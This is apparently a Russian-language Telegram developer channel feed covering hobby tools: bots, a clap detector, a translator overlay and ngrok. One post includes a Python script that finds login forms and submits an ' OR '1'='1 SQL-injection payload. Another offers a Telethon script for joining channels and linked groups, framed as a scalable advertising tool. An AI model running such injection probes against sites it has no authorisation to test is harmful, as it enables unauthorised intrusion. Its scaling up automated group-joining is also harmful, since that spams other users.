two_claps_open-main.rar
7.4 KB
В проекте две реализации:
- открытие ДОТЫ2;
- запуск голосового ассистена Gemini (нужен API-ключ).
Забавно, можно найти применение.
⚙️ Как это работает:
В основе всего лежит технология обнаружения хлопков в реальном времени. Этот процесс реализован как в Python-скриптах, так и в прототипах на MATLAB:
- захват аудио: скрипты непрерывно слушают аудиопоток с микрофона с частотой дискретизации 44100 Гц. Аудио делится на короткие фрагменты (фреймы) длительностью 20 мс;
- фильтрация: хлопок имеет характерный частотный спектр. Чтобы отсеять посторонние шумы (голос, музыку, звуки улицы), каждый фрейм проходит через полосовой фильтр Баттерворта. Фильтр пропускает только частоты в диапазоне от 1400 Гц до 1800 Гц. К фреймам применяется оконная функция Ханна для сглаживания и уменьшения спектральных искажений;
- детекция пиков: в отфильтрованном сигнале скрипт ищет резкие всплески амплитуды (пики), которые превышают заданный порог (например, 0.2);
- защита от ложных срабатываний: Чтобы один громкий хлопок не был засчитан как два, установлена минимальная задержка между обнаруженными пиками — 0.2 секунды.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5✍1👌1
Скрипт для проверки ресурса на уязвимость к SQL-инъекции. Вайб-кодерам, которые пишут сайты - привет ;)
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
import requests
from bs4 import BeautifulSoup
import logging
# Настройка логирования
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
def find_login_forms(url):
"""
Ищет формы входа на указанном веб-сайте.
Args:
url (str): URL веб-сайта.
Returns:
list: Список URL-адресов форм входа.
"""
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
login_forms = []
for form in forms:
if 'login' in str(form).lower() or 'sign' in str(form).lower():
action = form.get('action')
if action:
login_forms.append(action)
return login_forms
except Exception as e:
logger.error(f"Ошибка при поиске форм входа на {url}: {e}")
return []
def check_sql_injection(url):
"""
Проверяет уязвимость SQL-инъекции на указанном URL.
Args:
url (str): URL для проверки.
Returns:
bool: True если уязвимость обнаружена, иначе False.
"""
payload = "' OR '1'='1"
test_url = f"{url}?username={payload}&password={payload}"
try:
response = requests.get(test_url)
if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
logger.info(f"Возможная уязвимость SQL-инъекции на {url}")
return True
else:
logger.info(f"Уязвимость SQL-инъекции не обнаружена на {url}")
return False
except Exception as e:
logger.error(f"Ошибка при проверке SQL-инъекции на {url}: {e}")
return False
if __name__ == "__main__":
target_url = "http://example.com/login"
login_forms = find_login_forms(target_url)
for form_action in login_forms:
full_url = f"http://example.com{form_action}"
vulnerable = check_sql_injection(full_url)
print(f"URL: {full_url} | SQL Injection Vulnerable: {vulnerable}")
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
❤11👍4❤🔥2😁2
- 🔄 Отслеживание нескольких YouTube-каналов в реальном времени
- 📢 Мгновенные уведомления в Telegram при публикации новых видео
- 🎯 Чистый и профессиональный формат уведомлений с миниатюрами (thumbnail)
- 👥 Поддержка отправки уведомлений в несколько групп/каналов Telegram
- 🔐 Управление доступом только для администраторов
- ⚙️ Простая конфигурация через переменные окружения
- 💾 Постоянное хранение данных о каналах и настройках чатов
- 🚀 Автоматический повтор уведомлений при сбоях отправки
- 🛡 Обработка ошибок и корректное завершение работы бота
1) Токен бота.
2) YOUTUBE_API_KEY.
3) Интервал в котором будет совершаться проверка на пост новых видео.
4) ID админов (для доступа к панели админов 🥹)
Поможет следить за контентом, первыми делать нарезки и т.д., работает надежнее колокольчика.
Cкачать можно тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
Всем привет! Вы так быстро подписываетесь, что если ТГ-стат кто будет смотреть, подумают, что накрутка 🖥
Я очень рад, что впервые довольно большое количество людей заинтересованы моим нормальным софтом, а не интернет-приколами, розыгрышами и демотиваторами😁
🚀 Пока все выглядит так. Может, у кого есть какие идеи, которые я смогу реализовать, в плане функционала?
Относительно того, что показывал в ТТ, добавил для фото/картинок выбор формата для сохранения, а также теперь можно сохранить свой пресет настроек, чтобы не устанавливать все на одни значения при каждом перезапуске.
Я очень рад, что впервые довольно большое количество людей заинтересованы моим нормальным софтом, а не интернет-приколами, розыгрышами и демотиваторами
Увидев ваш интерес к приложению по апскейлу фото/видео, я незамедлительно приступил к его доработке, уже есть около-финальный результат. Постараюсь сегодня, максимум завтра уже выложить готовый билд, которым можно будет с кайфом пользоваться!
Относительно того, что показывал в ТТ, добавил для фото/картинок выбор формата для сохранения, а также теперь можно сохранить свой пресет настроек, чтобы не устанавливать все на одни значения при каждом перезапуске.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🐳5😎2❤1😈1💘1
И главный вопрос:
Что лучше для автоматизации — использовать готовый инструмент типа n8n или писать все с нуля, то есть заниматься ручной разработкой?
n8n — это платформа для визуальной автоматизации. Вы соединяете кубики-«ноды» (приложения и сервисы) между собой, чтобы они обменивались данными и выполняли задачи без вашего участия. Гибко, наглядно и не всегда требует навыков программирования.
Что же выбрать: n8n или код? 🤔
- Скорость — главный приоритет. Собрать рабочий сценарий в n8n можно за минуты, а не за дни или недели;
- Бюджет ограничен. Использование готовых интеграций и визуального конструктора значительно дешевле, чем оплата часов разработчика;
- Задача типовая. Нужно связать популярные сервисы (Telegram, Google Sheets, CRM, Trello)? В n8n для этого уже все готово;
- Нужна гибкость без хардкора. Вы не программист, но хотите иметь возможность легко менять логику процесса.
- Нужна 100% кастомизация. У вас уникальная бизнес-логика, нестандартные API или требования к интерфейсу;
- Требуется максимальная производительность. Для высоконагруженных систем, обрабатывающих тысячи запросов в секунду, кастомный код, написанный под конкретную задачу, будет эффективнее;
- Интеграция очень специфична. Нужно подключить редкий или внутренний корпоративный софт, для которого нет готовых «нод»;
- Полный контроль над кодом и окружением является критически важным в серьезных проектах.
Итог таков: не стоит противопоставлять эти два подхода. Это инструменты для разных задач. Для 60% стандартных кейсов автоматизации n8n будет быстрее, дешевле и проще в поддержке. Например, бот для записи на маникюр, в больницу и т.д.
Для масштабных же проектов, рассчитанных на тысячи пользователей, n8n - это шутка. Где нужна уникальная логика и высокая производительность, — без ручной разработки не обойтись.
#automation #n8n #dev #nocode #tools
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3
main.py
6.9 KB
Работает на Pyrofork. Выводит в консоль количество существующих подарков, баланс звезд Вашего аккаунта, обновляется раз в 300 секунд (ставьте КД меньше, около минуты). Не забудьте в начале свои API HASH и API ID указать.
pip install pyrofork
Видел, в комментариях часто такое решение упоминали - держите.
Please open Telegram to view this post
VIEW IN TELEGRAM
🍓2
1) Поможет скачать последнюю актуальную версию IDE под ОС пользователя;
2) А также Python из последних актуальных релизов.
Будут и рекомендации по правильной установке.
Страничку с choco я еще заполню командами. Сейчас там уже есть вкладки (медиа, разработка, веб-разработка и т.д.) с командами для экспресс-установки рабочих инструментов. В одну строчку можно установить все те же IDE, Python, Node JS, драйвера, кодеки и даже Steam :D
Пока что так. .exe под Windows мб дам сюда сегодня-завтра.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2❤1
По идее, сейчас под каждым новым постом мой бот 🤖 будет присылать сообщение о том, где найти мои программы, а также как со мной связаться и закреплять ссылку на ТикТок.
Давайте проверим.
🖥 Модерация чата я пока отключил, на предмет ругательств. Жду от Вас вежливого общения. Ссылки, упоминания - запрещены, кроме:
- github;
- мой гугл-диск;
- youtube;
- канал и связанный с ним чат.
Касательно вопросов - я иногда включаю стримы на Твиче - можете задавать их там, в этом канале будут анонсы.
Давайте проверим.
- github;
- мой гугл-диск;
- youtube;
- канал и связанный с ним чат.
Упоминать можно меня (@kotozmeym), если есть кто-то, кто разошелся на язык, или модератора - @Green_Teeeeea. Также, моего бота для коммуникации, он же модератор - @mgerkomcom_bot. ЛС пришлось закрыть из-за наплыва вопросов - всем так отвечать не смогу.
Касательно вопросов - я иногда включаю стримы на Твиче - можете задавать их там, в этом канале будут анонсы.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4🤣4
This media is not supported in your browser
VIEW IN TELEGRAM
MORT — это бесплатный real-time переводчик, который работает поверх любой игры. 🤯
Он сканирует текст прямо с экрана и мгновенно выдает перевод. Идеально для JRPG и визуальных новелл, у которых нет перевода на нужный Вам язык.
- Перевод "на лету" через OCR;
- Удобный игровой оверлей;
- Полностью бесплатно.
У меня установлена Guild Wars 2. Проверял на ней - для статичного текста вроде квестов и диалогов он подойдет. Правда, придется потратить время на настройку области захвата. Но если вы английского не знаете - этого того стоит :)
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10🤣3
This media is not supported in your browser
VIEW IN TELEGRAM
Появился повод перейти на Windows 11 ;D
Windows 11 получила очень удобную функцию: быстрое завершение зависших приложений прямо с панели задач, без обращения к «Диспетчеру задач». Для этого достаточно кликнуть правой кнопкой мыши по значку программы и выбрать «Завершить задачу».
Спустя столько лет, ахахаха
Windows 11 получила очень удобную функцию: быстрое завершение зависших приложений прямо с панели задач, без обращения к «Диспетчеру задач». Для этого достаточно кликнуть правой кнопкой мыши по значку программы и выбрать «Завершить задачу».
Чтобы включить: «Параметры» -> «Система» -> «Для разработчиков» -> «Завершить задачу».
Спустя столько лет, ахахаха
🫡8❤5🗿2🔥1👏1
main.py
7.5 KB
Скрипт демонстрирует, как можно через Telethon не только присоединится к каналу, но и к связанной с ним группе. Простая реализация. В правильных руках и с масштабированием можно создать мощный рекламный инструмент
Получаем:
linked_chat_id
через
telethon.tl.functions.channels.GetFullChannelRequest
Который принимает в качестве параметра channel идентификатор канала (аналогично JoinChannelRequest – имя пользователя, ID, объект сущности и т.д.) и возвращает детальную информацию. Запрос GetFullChannelRequest возвращает объект типа messages.ChatFull. Этот объект является контейнером и имеет сложную структуру.
Ключевыми для нашей задачи являются следующие его компоненты :
- full_chat: Этот атрибут содержит объект ChannelFull (для каналов), который, в свою очередь, хранит расширенную информацию о самом канале, включая искомый linked_chat_id.
- chats: Это список, содержащий объекты сущностей (User, Chat, Channel) для основного канала, а также для всех связанных с ним чатов (включая группу обсуждения, если она есть) и упомянутых пользователей.
Идентификатор связанной группы обсуждений хранится в атрибуте linked_chat_id объекта full_chat (т.е., response.full_chat.linked_chat_id). Этот ID является "маркированным" идентификатором Telegram, который уже включает префикс, указывающий на тип сущности (например, -100... для каналов/супергрупп).
Please open Telegram to view this post
VIEW IN TELEGRAM
😁4❤2
- 🔄 Отслеживание нескольких YouTube-каналов в реальном времени
- 📢 Мгновенные уведомления в Telegram при публикации новых видео
- 🎯 Чистый и профессиональный формат уведомлений с миниатюрами (thumbnail)
- 👥 Поддержка отправки уведомлений в несколько групп/каналов Telegram
- 🔐 Управление доступом только для администраторов
- ⚙️ Простая конфигурация через переменные окружения
- 💾 Постоянное хранение данных о каналах и настройках чатов
- 🚀 Автоматический повтор уведомлений при сбоях отправки
- 🛡 Обработка ошибок и корректное завершение работы бота
1) Токен бота.
2) YOUTUBE_API_KEY.
3) Интервал в котором будет совершаться проверка на пост новых видео.
4) ID админов (для доступа к панели админов 🥹)
Поможет следить за контентом, первыми делать нарезки и т.д., работает надежнее колокольчика.
Cкачать можно тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6
По сути — настоящий швейцарский нож для администратора:
🛡 Фильтрует спам, нежелательные ссылки, упоминания и стоп-слова. Умеет автоматически выдавать предупреждения и банить нарушителей. Главное- устранил нюанс, где можно было редактировать сообщения и после редакции бот не реагировал.
⚙️ Настраивайте стоп-слова, исключения, разрешенные ссылки, триггеры для автоответов и многое другое через админку.
🛡 Устали от спам-ботов? Включите проверку по CAPTCHA для новых участников! Пользователю нужно будет ввести символы в личном чате с ботом, чтобы получить доступ к группе. Функцию можно включать и выключать глобально.
📬 Пользователи могут легко связаться с вами по разным темам (реклама, техподдержка, сотрудничество) или предложить новость для вашего канала.
✍️ Публикуйте посты в свои каналы прямо через бота, с inline-кнопками!
📊 Получайте периодические отчеты о работе бота и статистику модерации.
💰 В боте есть удобное меню для тех, кто захочет поддержать админа и его работу.
Скачать проект
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤬2❤1🗿1
Не проблема, есть ngrock
- Разрабатываете сайт или приложение и хотите показать результат друзьям или заказчику до развертывания.
- Тестируете вебхуки или API-интерфейсы.
- Хотите быстро проверить работу вашего сервиса вне вашей локальной сети.
Вы запускаете локальный сервер (например, сайт на Flask или Node.js), затем запускаете ngrok и получаете публичный URL, по которому любой пользователь в интернете сможет получить доступ к вашему локальному серверу.
Например:
ngrok http 8080
Теперь ваш локальный сервер на порту 8080 доступен через URL, который сгенерирует ngrok (например, https://abcd1234.ngrok.io).
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4❤1❤🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
Репозиторий llm-engineer-toolkit на GitHub представляет собой тщательно подобранный список из более чем 120 библиотек для работы с большими языковыми моделями (LLM). Эти инструменты сгруппированы по различным категориям применения.
В этом наборе вы найдете ресурсы для:
- Обучения и донастройки LLM
- Фреймворков для разработки приложений на основе LLM
- Подготовки данных и доступа к нескольким API
- Retrieval-Augmented Generation (RAG) с использованием LLM
- Инференса и развертывания LLM
- Извлечения и генерации данных
- Создания и оценки агентов на базе LLM
- Мониторинга
- Инженерии промптов
- Получения структурированных выводов
- Обеспечения безопасности
- Работы с моделями вложений (embedding models)
P.S. ваш дурень поспешил и дал пост без ссылки.
Вот репозиторий.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤣6😴2🙉2🤬1
This media is not supported in your browser
VIEW IN TELEGRAM
Репозиторий llm-engineer-toolkit на GitHub представляет собой тщательно подобранный список из более чем 120 библиотек для работы с большими языковыми моделями (LLM). Эти инструменты сгруппированы по различным категориям применения.
В этом наборе вы найдете ресурсы для:
- Обучения и донастройки LLM
- Фреймворков для разработки приложений на основе LLM
- Подготовки данных и доступа к нескольким API
- Retrieval-Augmented Generation (RAG) с использованием LLM
- Инференса и развертывания LLM
- Извлечения и генерации данных
- Создания и оценки агентов на базе LLM
- Мониторинга
- Инженерии промптов
- Получения структурированных выводов
- Обеспечения безопасности
- Работы с моделями вложений (embedding models)
P.S. ваш дурень поспешил и дал пост без ссылки.
Вот репозиторий.
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰3❤1🤬1🙈1😡1
Один из первых относительно серьезных проектов (хоть и начального уровня), который я для портфолио делал.
📈 Ключевые метрики: Собирает данные о подписчиках, просмотрах постов, реакциях и рассчитывает Engagement Rate (ER).
💬 Анализ комментариев: Определяет тональность (позитив/негатив/нейтрал), строит облако популярных слов из комментариев и показывает примеры.
☁️ Облака слов из постов: Помогают быстро оценить основные темы контента.
📅 Графики активности: Визуализирует активность постов по дням и часам – найдите лучшее время для публикаций!
👥 Активность аудитории: Показывает, в какие часы ваши подписчики наиболее активны в комментариях.
🥳 Статистика Emoji: Узнайте, какие эмодзи чаще всего используются в постах и комментариях вашего канала.
🔐 Безопасная авторизация: Подключение через ваши API ID/Hash, все данные обрабатываются локально на вашем ПК.
⚙️ Гибкая настройка: Выбирайте период для анализа, устанавливайте лимиты на количество сообщений и комментариев.
🎨 Современный интерфейс: Приятный дизайн в стиле Fusion с возможностью переключения между светлой и темной темами.
💾 Экспорт отчетов: Сохраняйте подробные данные в CSV-файл и текстовый отчет с основными выводами.
- Всё в одном: Комплексный анализ без необходимости использовать множество разных сервисов.
- Наглядно: Графики и визуализации делают данные понятными с первого взгляда.
- Полезно: Получайте инсайты и рекомендации для развития вашего канала.
- Конфиденциально: Приложение работает локально, ваши данные и ключи не передаются третьим лицам.
Скачать проект тут.
P.S. там первый запуск кривой, ID и HASH внутри приложения вводите, а номер телефона и код еще в IDE. В свое время не доделал и забросил.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3